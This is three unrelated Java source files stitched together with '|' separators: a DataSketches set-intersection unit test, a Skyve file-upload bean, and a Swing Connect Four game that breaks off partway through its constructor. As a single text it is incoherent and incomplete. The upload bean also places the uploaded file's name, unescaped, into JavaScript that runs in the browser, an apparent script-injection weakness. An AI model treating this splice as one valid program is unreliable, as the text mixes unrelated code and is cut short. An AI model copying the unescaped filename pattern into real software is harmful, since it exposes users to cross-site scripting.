import com.yahoo.sketches.SketchesStateException;
/**
* @author Lee Rhodes
*/
public class HeapIntersectionTest {
@Test
public void checkExactIntersectionNoOverlap() {
int lgK = 9;
int k = 1<<lgK;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<k/2; i++) usk1.update(i);
for (int i=k/2; i<k; i++) usk2.update(i);
Intersection inter = SetOperation.builder().buildIntersection();
inter.update(usk1);
inter.update(usk2);
CompactSketch rsk1;
boolean ordered = true;
assertTrue(inter.hasResult());
rsk1 = inter.getResult(!ordered, null);
assertEquals(rsk1.getEstimate(), 0.0);
rsk1 = inter.getResult(ordered, null);
assertEquals(rsk1.getEstimate(), 0.0);
boolean compact = true;
int bytes = rsk1.getCurrentBytes(compact);
byte[] byteArray = new byte[bytes];
Memory mem = new NativeMemory(byteArray);
rsk1 = inter.getResult(!ordered, mem);
assertEquals(rsk1.getEstimate(), 0.0);
rsk1 = inter.getResult(ordered, mem); //executed twice to fully exercise the internal state machine
assertEquals(rsk1.getEstimate(), 0.0);
}
@Test
public void checkPairwiseIntersectionNoOverlap() {
int lgK = 9;
int k = 1<<lgK;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<k/2; i++) usk1.update(i);
for (int i=k/2; i<k; i++) usk2.update(i);
CompactSketch csk1 = usk1.compact(true, null);
CompactSketch csk2 = usk2.compact(true, null);
Sketch rsk = IntersectionImpl.pairwiseIntersect(csk1, csk2);
assertEquals(rsk.getEstimate(), 0.0);
}
@Test
public void checkExactIntersectionFullOverlap() {
int lgK = 9;
int k = 1<<lgK;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<k; i++) usk1.update(i);
for (int i=0; i<k; i++) usk2.update(i);
Intersection inter = SetOperation.builder().buildIntersection();
inter.update(usk1);
inter.update(usk2);
CompactSketch rsk1;
boolean ordered = true;
rsk1 = inter.getResult(!ordered, null);
assertEquals(rsk1.getEstimate(), (double)k);
rsk1 = inter.getResult(ordered, null);
assertEquals(rsk1.getEstimate(), (double)k);
boolean compact = true;
int bytes = rsk1.getCurrentBytes(compact);
byte[] byteArray = new byte[bytes];
Memory mem = new NativeMemory(byteArray);
rsk1 = inter.getResult(!ordered, mem); //executed twice to fully exercise the internal state machine
assertEquals(rsk1.getEstimate(), (double)k);
rsk1 = inter.getResult(ordered, mem);
assertEquals(rsk1.getEstimate(), (double)k);
}
@Test
public void checkPairwiseIntersectionFullOverlap() {
int lgK = 9;
int k = 1<<lgK;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<k; i++) usk1.update(i);
for (int i=0; i<k; i++) usk2.update(i);
CompactSketch csk1 = usk1.compact(true, null);
CompactSketch csk2 = usk2.compact(true, null);
Sketch rsk = IntersectionImpl.pairwiseIntersect(csk1, csk2);
assertEquals(rsk.getEstimate(), (double)k);
}
@Test
public void checkIntersectionEarlyStop() {
int lgK = 10;
int k = 1<<lgK;
int u = 4*k;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<u; i++) usk1.update(i);
for (int i=u/2; i<u + u/2; i++) usk2.update(i); //inter 512
CompactSketch csk1 = usk1.compact(true, null);
CompactSketch csk2 = usk2.compact(true, null);
Intersection inter = SetOperation.builder().buildIntersection();
inter.update(csk1);
inter.update(csk2);
CompactSketch rsk1 = inter.getResult(true, null);
double result = rsk1.getEstimate();
double sd2err = 2048 * 2.0/Math.sqrt(k);
//println("2048 = " + rsk1.getEstimate() + " +/- " + sd2err);
assertEquals(result, 2048.0, sd2err);
}
@Test
public void checkPairwiseIntersectionEarlyStop() {
int lgK = 10;
int k = 1<<lgK;
int u = 4*k;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
for (int i=0; i<u; i++) usk1.update(i);
for (int i=u/2; i<u + u/2; i++) usk2.update(i);
CompactSketch csk1 = usk1.compact(true, null);
CompactSketch csk2 = usk2.compact(true, null);
Sketch rsk = IntersectionImpl.pairwiseIntersect(csk1, csk2);
double result = rsk.getEstimate();
double sd2err = 2048 * 2.0/Math.sqrt(k);
//println("2048 = " + rsk.getEstimate() + " +/- " + sd2err);
assertEquals(result, 2048.0, sd2err);
}
@Test(expectedExceptions = SketchesArgumentException.class)
public void checkPairwiseBadArguments() {
int lgK = 10;
int k = 1<<lgK;
UpdateSketch usk1 = UpdateSketch.builder().build(k);
UpdateSketch usk2 = UpdateSketch.builder().build(k);
IntersectionImpl.pairwiseIntersect(usk1, usk2);
}
@Test(expectedExceptions = SketchesStateException.class)
public void checkNoCall() {
Intersection inter = SetOperation.builder().buildIntersection();
assertFalse(inter.hasResult());
inter.getResult(false, null);
}
@Test
public void check1stCall() {
int lgK = 9;
int k = 1<<lgK;
Intersection inter;
UpdateSketch sk;
CompactSketch rsk1;
double est;
//1st call = null
inter = SetOperation.builder().buildIntersection();
inter.update(null);
rsk1 = inter.getResult(false, null);
est = rsk1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = empty
sk = UpdateSketch.builder().build(k); //empty
inter = SetOperation.builder().buildIntersection();
inter.update(sk);
rsk1 = inter.getResult(false, null);
est = rsk1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = valid and not empty
sk = UpdateSketch.builder().build(k);
sk.update(1);
inter = SetOperation.builder().buildIntersection();
inter.update(sk);
rsk1 = inter.getResult(false, null);
est = rsk1.getEstimate();
assertEquals(est, 1.0, 0.0);
println("Est: "+est);
}
@Test
public void check2ndCallAfterNull() {
Intersection inter;
UpdateSketch sk;
CompactSketch comp1;
double est;
//1st call = null
inter = SetOperation.builder().buildIntersection();
inter.update(null);
//2nd call = null
inter.update(null);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = null
inter = SetOperation.builder().buildIntersection();
inter.update(null);
//2nd call = empty
sk = UpdateSketch.builder().build(); //empty
inter.update(sk);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = null
inter = SetOperation.builder().buildIntersection();
inter.update(null);
//2nd call = valid & not empty
sk = UpdateSketch.builder().build();
sk.update(1);
inter.update(sk);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
}
@Test
public void check2ndCallAfterEmpty() {
Intersection inter;
UpdateSketch sk1, sk2;
CompactSketch comp1;
double est;
//1st call = empty
sk1 = UpdateSketch.builder().build(); //empty
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = null
inter.update(null);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = empty
sk1 = UpdateSketch.builder().build(); //empty
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = empty
sk2 = UpdateSketch.builder().build(); //empty
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = empty
sk1 = UpdateSketch.builder().build(); //empty
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = valid and not empty
sk2 = UpdateSketch.builder().build();
sk2.update(1);
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
}
@Test
public void check2ndCallAfterValid() {
Intersection inter;
UpdateSketch sk1, sk2;
CompactSketch comp1;
double est;
//1st call = valid
sk1 = UpdateSketch.builder().build();
sk1.update(1);
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = null
inter.update(null);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = valid
sk1 = UpdateSketch.builder().build();
sk1.update(1);
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = empty
sk2 = UpdateSketch.builder().build(); //empty
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
//1st call = valid
sk1 = UpdateSketch.builder().build();
sk1.update(1);
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = valid intersecting
sk2 = UpdateSketch.builder().build(); //empty
sk2.update(1);
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 1.0, 0.0);
println("Est: "+est);
//1st call = valid
sk1 = UpdateSketch.builder().build();
sk1.update(1);
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = valid not intersecting
sk2 = UpdateSketch.builder().build(); //empty
sk2.update(2);
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertEquals(est, 0.0, 0.0);
println("Est: "+est);
}
@Test
public void checkEstimatingIntersect() {
int lgK = 9;
int k = 1<<lgK;
Intersection inter;
UpdateSketch sk1, sk2;
CompactSketch comp1;
double est;
//1st call = valid
sk1 = UpdateSketch.builder().build(k);
for (int i=0; i<2*k; i++) sk1.update(i); //est mode
println("sk1: "+sk1.getEstimate());
inter = SetOperation.builder().buildIntersection();
inter.update(sk1);
//2nd call = valid intersecting
sk2 = UpdateSketch.builder().build(k);
for (int i=0; i<2*k; i++) sk2.update(i); //est mode
println("sk2: "+sk2.getEstimate());
inter.update(sk2);
comp1 = inter.getResult(false, null);
est = comp1.getEstimate();
assertTrue(est > k);
println("Est: "+est);
}
@Test
public void checkHeapify() {
int lgK = 9;
int k = 1<<lgK;
Intersection inter, inter2;
UpdateSketch sk1, sk2;
CompactSketch resultComp1, resultComp2;
double est, est2;
sk1 = UpdateSketch.builder().build(k);
for (int i=0; i<2*k; i++) sk1.update(i); //est mode
CompactSketch compSkIn1 = sk1.compact(true, null);
println("compSkIn1: "+compSkIn1.getEstimate());
//1st call = valid
inter = SetOperation.builder().buildIntersection();
inter.update(compSkIn1);
//2nd call = valid intersecting
sk2 = UpdateSketch.builder().build(k);
for (int i=0; i<2*k; i++) sk2.update(i); //est mode
CompactSketch compSkIn2 = sk2.compact(true, null);
println("compSkIn2: "+compSkIn2.getEstimate());
inter.update(compSkIn2);
resultComp1 = inter.getResult(false, null);
est = resultComp1.getEstimate();
assertTrue(est > k);
println("Est: "+est);
byte[] byteArray = inter.toByteArray();
Memory mem = new NativeMemory(byteArray);
inter2 = (Intersection) SetOperation.heapify(mem);
//inter2 = new Intersection(mem, seed);
resultComp2 = inter2.getResult(false, null);
est2 = resultComp2.getEstimate();
println("Est2: "+est2);
inter.reset();
inter2.reset();
}
@Test
public void checkHeapifyNullEmpty() {
Intersection inter1, inter2;
inter1 = SetOperation.builder().buildIntersection(); //virgin
byte[] byteArray = inter1.toByteArray();
Memory srcMem = new NativeMemory(byteArray);
inter2 = (Intersection) SetOperation.heapify(srcMem);
//inter2 is in virgin state, empty = false
inter1.update(null); //A virgin intersection intersected with null => empty = true;
byteArray = inter1.toByteArray(); //update the byteArray
srcMem = new NativeMemory(byteArray);
inter2 = (Intersection) SetOperation.heapify(srcMem);
CompactSketch comp = inter2.getResult(true, null);
assertEquals(comp.getRetainedEntries(false), 0);
assertTrue(comp.isEmpty());
}
@Test
public void checkHeapifyNullEmpty2() {
int lgK = 5;
int k = 1<<lgK;
Intersection inter1, inter2;
UpdateSketch sk1;
inter1 = SetOperation.builder().buildIntersection(); //virgin
byte[] byteArray = inter1.toByteArray();
Memory srcMem = new NativeMemory(byteArray);
inter2 = (Intersection) SetOperation.heapify(srcMem);
//inter2 is in virgin state
sk1 = UpdateSketch.builder().setP((float) .005).setFamily(Family.QUICKSELECT).build(k);
sk1.update(1);
//A virgin intersection (empty = false) intersected with a not-empty zero cache sketch
//remains empty = false!
inter1.update(sk1);
byteArray = inter1.toByteArray();
srcMem = new NativeMemory(byteArray);
inter2 = (Intersection) SetOperation.heapify(srcMem);
CompactSketch comp = inter2.getResult(true, null);
assertEquals(comp.getRetainedEntries(false), 0);
assertFalse(comp.isEmpty());
}
@Test(expectedExceptions = SketchesArgumentException.class)
public void checkBadPreambleLongs() {
Intersection inter1 = SetOperation.builder().buildIntersection(); //virgin
byte[] byteArray = inter1.toByteArray();
Memory mem = new NativeMemory(byteArray);
//corrupt:
mem.putByte(PREAMBLE_LONGS_BYTE, (byte) 2); //RF not used = 0
SetOperation.heapify(mem);
}
@Test(expectedExceptions = SketchesArgumentException.class)
public void checkBadSerVer() {
Intersection inter1 = SetOperation.builder().buildIntersection(); //virgin
byte[] byteArray = inter1.toByteArray();
Memory mem = new NativeMemory(byteArray);
//corrupt:
mem.putByte(SER_VER_BYTE, (byte) 2);
SetOperation.heapify(mem);
}
@SuppressWarnings("unused")
@Test(expectedExceptions = ClassCastException.class)
public void checkFamilyID() {
int k = 32;
Union union = SetOperation.builder().buildUnion(k);
byte[] byteArray = union.toByteArray();
Memory mem = new NativeMemory(byteArray);
Intersection inter1 = (Intersection) SetOperation.heapify(mem); //bad cast
}
@Test(expectedExceptions = SketchesArgumentException.class)
public void checkBadEmptyState() {
Intersection inter1 = SetOperation.builder().buildIntersection(); //virgin
UpdateSketch sk = Sketches.updateSketchBuilder().build();
inter1.update(sk); //initializes to a true empty intersection.
byte[] byteArray = inter1.toByteArray();
Memory mem = new NativeMemory(byteArray);
//corrupt:
mem.putInt(RETAINED_ENTRIES_INT, 1);
SetOperation.heapify(mem);
}
@Test
public void checkGetResult() {
UpdateSketch sk = Sketches.updateSketchBuilder().build();
Intersection inter = Sketches.setOperationBuilder().buildIntersection();
inter.update(sk);
CompactSketch csk = inter.getResult();
assertEquals(csk.getCurrentBytes(true), 8);
}
@Test
public void checkFamily() {
IntersectionImpl impl = IntersectionImpl.initNewHeapInstance(DEFAULT_UPDATE_SEED);
assertEquals(impl.getFamily(), Family.INTERSECTION);
}
@Test
public void printlnTest() {
println("PRINTING: "+this.getClass().getName());
}
/**
* @param s value to print
*/
static void println(String s) {
System.out.println(s); //disable here
}
}
|
package org.skyve.impl.web.faces.beans;
import javax.faces.application.FacesMessage;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.ManagedProperty;
import javax.faces.bean.RequestScoped;
import javax.faces.context.ExternalContext;
import javax.faces.context.FacesContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.primefaces.context.RequestContext;
import org.primefaces.event.FileUploadEvent;
import org.skyve.CORE;
import org.skyve.content.AttachmentContent;
import org.skyve.domain.Bean;
import org.skyve.impl.bind.BindUtil;
import org.skyve.impl.metadata.user.UserImpl;
import org.skyve.impl.util.UtilImpl;
import org.skyve.impl.web.AbstractWebContext;
import org.skyve.impl.web.WebUtil;
import org.skyve.impl.web.faces.FacesAction;
import org.skyve.persistence.Persistence;
@ManagedBean(name = "_skyveContent")
@RequestScoped
public class ContentUpload extends Localisable {
private static final long serialVersionUID = -6769960348990922565L;
@ManagedProperty(value = "#{param." + AbstractWebContext.CONTEXT_NAME + "}")
private String context;
@ManagedProperty(value = "#{param." + AbstractWebContext.BINDING_NAME + "}")
private String binding;
@ManagedProperty(value = "#{param." + AbstractWebContext.RESOURCE_FILE_NAME + "}")
private String contentBinding;
public void preRender() {
new FacesAction<Void>() {
@Override
public Void callback() throws Exception {
Persistence p = CORE.getPersistence();
UserImpl internalUser = (UserImpl) p.getUser();
initialise(internalUser, FacesContext.getCurrentInstance().getExternalContext().getRequestLocale());
return null;
}
}.execute();
}
public String getContext() {
return context;
}
public void setContext(String context) {
this.context = UtilImpl.processStringValue(context);
}
public String getBinding() {
return binding;
}
public void setBinding(String binding) {
this.binding = UtilImpl.processStringValue(binding);
}
public String getContentBinding() {
return contentBinding;
}
public void setContentBinding(String contentBinding) {
this.contentBinding = UtilImpl.processStringValue(contentBinding);
}
/**
* Process the file upload
*
* @param event
*/
public void handleFileUpload(FileUploadEvent event)
throws Exception {
FacesContext fc = FacesContext.getCurrentInstance();
if ((context == null) || (contentBinding == null)) {
UtilImpl.LOGGER.warning("FileUpload - Malformed URL on Upload Action - context, binding, or contentBinding is null");
FacesMessage msg = new FacesMessage("Failure", "Malformed URL");
fc.addMessage(null, msg);
return;
}
ExternalContext ec = fc.getExternalContext();
HttpServletRequest request = (HttpServletRequest) ec.getRequest();
HttpServletResponse response = (HttpServletResponse) ec.getResponse();
AbstractWebContext webContext = WebUtil.getCachedConversation(context, request, response);
if (webContext == null) {
UtilImpl.LOGGER.warning("FileUpload - Malformed URL on Content Upload - context does not exist");
FacesMessage msg = new FacesMessage("Failure", "Malformed URL");
FacesContext.getCurrentInstance().addMessage(null, msg);
return;
}
// NB Persistence has been set with the restore processing inside the SkyvePhaseListener
Persistence persistence = CORE.getPersistence();
try {
Bean currentBean = webContext.getCurrentBean();
Bean bean = currentBean;
if (binding != null) {
bean = (Bean) BindUtil.get(bean, binding);
}
AttachmentContent content = FacesContentUtil.handleFileUpload(event, bean, BindUtil.unsanitiseBinding(contentBinding));
String contentId = content.getContentId();
// only put conversation in cache if we have been successful in executing
WebUtil.putConversationInCache(webContext);
// update the content UUID value on the client and popoff the window on the stack
RequestContext rc = RequestContext.getCurrentInstance();
StringBuilder js = new StringBuilder(128);
String sanitisedContentBinding = BindUtil.sanitiseBinding(contentBinding);
// if top.isc is defined then we are using smart client, set the value in the values manager
js.append("if(top.isc){");
js.append("top.isc.WindowStack.getOpener()._vm.setValue('").append(sanitisedContentBinding);
js.append("','").append(contentId).append("');top.isc.WindowStack.popoff(false)");
// otherwise we are using prime faces, set the hidden input element that ends with "_<binding>"
js.append("}else if(top.SKYVE){top.SKYVE.afterContentUpload('").append(sanitisedContentBinding);
js.append("','").append(contentId).append("','");
js.append(bean.getBizModule()).append('.').append(bean.getBizDocument()).append("','");
js.append(content.getFileName()).append("')}");
rc.execute(js.toString());
}
catch (Exception e) {
persistence.rollback();
e.printStackTrace();
FacesMessage msg = new FacesMessage("Failure", e.getMessage());
fc.addMessage(null, msg);
}
// NB No need to disconnect Persistence as it is done in the SkyvePhaseListener after the response is rendered.
}
}
|
import java.awt.BorderLayout;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import javax.swing.JButton;
import javax.swing.JTextField;
import sun.org.mozilla.javascript.internal.ast.ForInLoop;
import sun.swing.MenuItemLayoutHelper.ColumnAlignment;
import com.sun.org.apache.xpath.internal.axes.ReverseAxesWalker;
import com.sun.org.apache.xpath.internal.operations.Equals;
import java.awt.Color;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import java.util.Random;
public class Main extends JFrame {
private static JPanel contentPane;
private static JTextField[][] grid = new JTextField[6][7];
private static int[][] scoreBoard = new int[6][7];
private static boolean firstMove = false;
private static boolean humanWin = true;
static JButton columnOneButton = new JButton("Drop");
static JButton columnTwoButton = new JButton("Drop");
static JButton columnThreeButton = new JButton("Drop");
static JButton columnFourButton = new JButton("Drop");
static JButton columnFiveButton = new JButton("Drop");
static JButton columnSixButton = new JButton("Drop");
static JButton columnSevenButton = new JButton("Drop");
// private JTextField b00;
// private JTextField b01;
// private JTextField b02;
// private JTextField b03;
// private JTextField b05;
// private JTextField b06;
// private JTextField b04;
// private JTextField b10;
// private JTextField b11;
// private JTextField b12;
// private JTextField b13;
// private JTextField b14;
// private JTextField b15;
// private JTextField b16;
// private JTextField b30;
// private JTextField b31;
// private JTextField b32;
// private JTextField b33;
// private JTextField b34;
// private JTextField b35;
// private JTextField b36;
// private JTextField b20;
// private JTextField b21;
// private JTextField b22;
// private JTextField b23;
// private JTextField b24;
// private JTextField b25;
// private JTextField b26;
// private JTextField b50;
// private JTextField b51;
// private JTextField b52;
// private JTextField b53;
// private JTextField b54;
// private JTextField b55;
// private JTextField b56;
// private JTextField b40;
// private JTextField b41;
// private JTextField b42;
// private JTextField b43;
// private JTextField b44;
// private JTextField b45;
// private JTextField b46;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
Main frame = new Main();
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the frame.
*/
public Main() {
scoreBoard[0][0] = -1;
scoreBoard[0][1] = -1;
scoreBoard[0][2] = -1;
scoreBoard[0][3] = -1;
scoreBoard[0][4] = -1;
scoreBoard[0][5] = -1;
scoreBoard[0][6] = -1;
scoreBoard[1][0] = -1;
scoreBoard[1][1] = -1;
scoreBoard[1][2] = -1;
scoreBoard[1][3] = -1;
scoreBoard[1][4] = -1;
scoreBoard[1][5] = -1;
scoreBoard[1][6] = -1;
scoreBoard[2][0] = -1;
scoreBoard[2][1] = -1;
scoreBoard[2][2] = -1;
scoreBoard[2][3] = -1;
scoreBoard[2][4] = -1;
scoreBoard[2][5] = -1;
scoreBoard[2][6] = -1;
scoreBoard[3][0] = -1;
scoreBoard[3][1] = -1;
scoreBoard[3][2] = -1;
scoreBoard[3][3] = -1;
scoreBoard[3][4] = -1;
scoreBoard[3][5] = -1;
scoreBoard[3][6] = -1;
scoreBoard[4][0] = -1;
scoreBoard[4][1] = -1;
scoreBoard[4][2] = -1;
scoreBoard[4][3] = -1;
scoreBoard[4][4] = -1;
scoreBoard[4][5] = -1;
scoreBoard[4][6] = -1;
scoreBoard[5][0] = -1;
scoreBoard[5][1] = -1;
scoreBoard[5][2] = -1;
scoreBoard[5][3] = -1;
scoreBoard[5][4] = -1;
scoreBoard[5][5] = -1;
scoreBoard[5][6] = -1;
grid[0][0] = new JTextField();
grid[0][1] = new JTextField();
grid[0][2] = new JTextField();
grid[0][3] = new JTextField();
grid[0][4] = new JTextField();
grid[0][5] = new JTextField();
grid[0][6] = new JTextField();
grid[1][0] = new JTextField();
grid[1][1] = new JTextField();
grid[1][2] = new JTextField();
grid[1][3] = new JTextField();
grid[1][4] = new JTextField();
grid[1][5] = new JTextField();
grid[1][6] = new JTextField();
grid[2][0] = new JTextField();
grid[2][1] = new JTextField();
grid[2][2] = new JTextField();
grid[2][3] = new JTextField();
grid[2][4] = new JTextField();
grid[2][5] = new JTextField();
grid[2][6] = new JTextField();
grid[3][0] = new JTextField();
grid[3][1] = new JTextField();
grid[3][2] = new JTextField();
grid[3][3] = new JTextField();
grid[3][4] = new JTextField();
grid[3][5] = new JTextField();
grid[3][6] = new JTextField();
grid[4][0] = new JTextField();
grid[4][1] = new JTextField();
grid[4][2] = new JTextField();
grid[4][3] = new JTextField();
grid[4][4] = new JTextField();
grid[4][5] = new JTextField();
grid[4][6] = new JTextField();
grid[5][0] = new JTextField();
grid[5][1] = new JTextField();
grid[5][2] = new JTextField();
grid[5][3] = new JTextField();
grid[5][4] = new JTextField();
grid[5][5] = new JTextField();
grid[5][6] = new JTextField();
setTitle("Four In a Row - AI Project");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setBounds(100, 100, 720, 267);
contentPane = new JPanel();
contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
setContentPane(contentPane);
contentPane.setLayout(null);
columnOneButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
// JOptionPane.showConfirmDialog(contentPane, "Clicked");
humanMove(0);
// computerMove(1);
}
});
columnOneButton.setBounds(10, 11, 89, 23);
contentPane.add(columnOneButton);
columnTwoButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
humanMove(1);
}
});
columnTwoButton.setBounds(109, 11, 89, 23);
contentPane.add(columnTwoButton);
columnThreeButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
humanMove(2);
}
});
columnThreeButton.setBounds(208, 11, 89, 23);
contentPane.add(columnThreeButton);
columnFourButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
humanMove(3);
}
});
columnFourButton.setBounds(307, 11, 89, 23);
contentPane.add(columnFourButton);
columnFiveButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
humanMove(4);
}
});
columnFiveButton.setBounds(406, 11, 89, 23);
contentPane.add(columnFiveButton);
columnSixButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
humanMove(5);
}
});
columnSixButton.setBounds(505, 11, 89, 23);
contentPane.add(columnSixButton);
columnSevenButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
humanMove(6);
}
});
columnSevenButton.setBounds(604, 11, 89, 23);
contentPane.add(columnSevenButton);
// grid[0][0] = new JTextField();
grid[0][0].setEnabled(false);
grid[0][0].setBounds(10, 45, 86, 20);
contentPane.add(grid[0][0]);
grid[0][0].setColumns(10);
// grid[0][1] = new JTextField();
grid[0][1].setEnabled(false);
grid[0][1].setColumns(10);
grid[0][1].setBounds(109, 45, 86, 20);
contentPane.add(grid[0][1]);
// grid[0][2] = new JTextField();
grid[0][2].setEnabled(false);
grid[0][2].setColumns(10);
grid[0][2].setBounds(211, 45, 86, 20);
contentPane.add(grid[0][2]);
// grid[0][3] = new JTextField();
grid[0][3].setEnabled(false);
grid[0][3].setColumns(10);
grid[0][3].setBounds(310, 45, 86, 20);
contentPane.add(grid[0][3]);
// grid[0][4] = new JTextField();
grid[0][4].setEnabled(false);
grid[0][4].setColumns(10);
grid[0][4].setBounds(406, 45, 86, 20);
contentPane.add(grid[0][4]);
// grid[0][5] = new JTextField();
grid[0][5].setEnabled(false);
grid[0][5].setColumns(10);
grid[0][5].setBounds(508, 45, 86, 20);
contentPane.add(grid[0][5]);
// grid[0][6] = new JTextField(" ");
grid[0][6].setEnabled(false);
grid[0][6].setColumns(10);
grid[0][6].setBounds(607, 45, 86, 20);
contentPane.add(grid[0][6]);
// grid[1][0] = new JTextField();
grid[1][0].setEnabled(false);
grid[1][0].setColumns(10);
grid[1][0].setBounds(10, 76, 86, 20);
contentPane.add(grid[1][0]);
// grid[1][1] = new JTextField();
grid[1][1].setEnabled(false);
grid[1][1].setColumns(10);
grid[1][1].setBounds(109, 76, 86, 20);
contentPane.add(grid[1][1]);
// grid[1][2] = new JTextField();
grid[1][2].setEnabled(false);
grid[1][2].setColumns(10);
grid[1][2].setBounds(211, 76, 86, 20);
contentPane.add(grid[1][2]);
// grid[1][3] = new JTextField();
grid[1][3].setEnabled(false);
grid[1][3].setColumns(10);
grid[1][3].setBounds(310, 76, 86, 20);
contentPane.add(grid[1][3]);
// grid[1][4] = new JTextField();
grid[1][4].setEnabled(false);
grid[1][4].setColumns(10);
grid[1][4].setBounds(406, 76, 86, 20);
contentPane.add(grid[1][4]);
// grid[1][5] = new JTextField();
grid[1][5].setEnabled(false);
grid[1][5].setColumns(10);
grid[1][5].setBounds(508, 76, 86, 20);
contentPane.add(grid[1][5]);
// grid[1][6] = new JTextField();
grid[1][6].setEnabled(false);
grid[1][6].setColumns(10);
grid[1][6].setBounds(607, 76, 86, 20);
contentPane.add(grid[1][6]);
// grid[2][0] = new JTextField();
grid[2][0].setEnabled(false);
grid[2][0].setColumns(10);
grid[2][0].setBounds(10, 107, 86, 20);
contentPane.add(grid[2][0]);
// grid[2][1] = new JTextField();
grid[2][1].setEnabled(false);
grid[2][1].setColumns(10);
grid[2][1].setBounds(109, 107, 86, 20);
contentPane.add(grid[2][1]);
// grid[2][2] = new JTextField();
grid[2][2].setEnabled(false);
grid[2][2].setColumns(10);
grid[2][2].setBounds(211, 107, 86, 20);
contentPane.add(grid[2][2]);
// grid[2][3] = new JTextField();
grid[2][3].setEnabled(false);
grid[2][3].setColumns(10);
grid[2][3].setBounds(310, 107, 86, 20);
contentPane.add(grid[2][3]);
// grid[2][4] = new JTextField();
grid[2][4].setEnabled(false);
grid[2][4].setColumns(10);
grid[2][4].setBounds(406, 107, 86, 20);
contentPane.add(grid[2][4]);
// grid[2][5] = new JTextField();
grid[2][5].setEnabled(false);
grid[2][5].setColumns(10);
grid[2][5].setBounds(508, 107, 86, 20);
contentPane.add(grid[2][5]);
// grid[2][6] = new JTextField();
grid[2][6].setEnabled(false);
grid[2][6].setColumns(10);
grid[2][6].setBounds(607, 107, 86, 20);
contentPane.add(grid[2][6]);
// grid[3][0] = new JTextField();
grid[3][0].setEnabled(false);
grid[3][0].setColumns(10);
grid[3][0].setBounds(10, 138, 86, 20);
contentPane.add(grid[3][0]);
// grid[3][1] = new JTextField();
grid[3][1].setEnabled(false);
grid[3][1].setColumns(10);
grid[3][1].setBounds(109, 138, 86, 20);
contentPane.add(grid[3][1]);
// grid[3][2] = new JTextField();
grid[3][2].setEnabled(false);
grid[3][2].setColumns(10);
grid[3][2].setBounds(211, 138, 86, 20);
contentPane.add(grid[3][2]);
// grid[3][3] = new JTextField();
grid[3][3].setEnabled(false);
grid[3][3].setColumns(10);
grid[3][3].setBounds(310, 138, 86, 20);
contentPane.add(grid[3][3]);
// grid[3][4] = new JTextField();
grid[3][4].setEnabled(false);
grid[3][4].setColumns(10);
grid[3][4].setBounds(406, 138, 86, 20);
contentPane.add(grid[3][4]);
// grid[3][5] = new JTextField();
grid[3][5].setEnabled(false);
grid[3][5].setColumns(10);
grid[3][5].setBounds(508, 138, 86, 20);
contentPane.add(grid[3][5]);
// grid[3][6] = new JTextField();
grid[3][6].setEnabled(false);
grid[3][6].setColumns(10);
grid[3][6].setBounds(607, 138, 86, 20);
contentPane.add(grid[3][6]);
// grid[4][0] = new JTextField();
grid[4][0].setEnabled(false);
grid[4][0].setColumns(10);
grid[4][0].setBounds(10, 169, 86, 20);
contentPane.add(grid[4][0]);
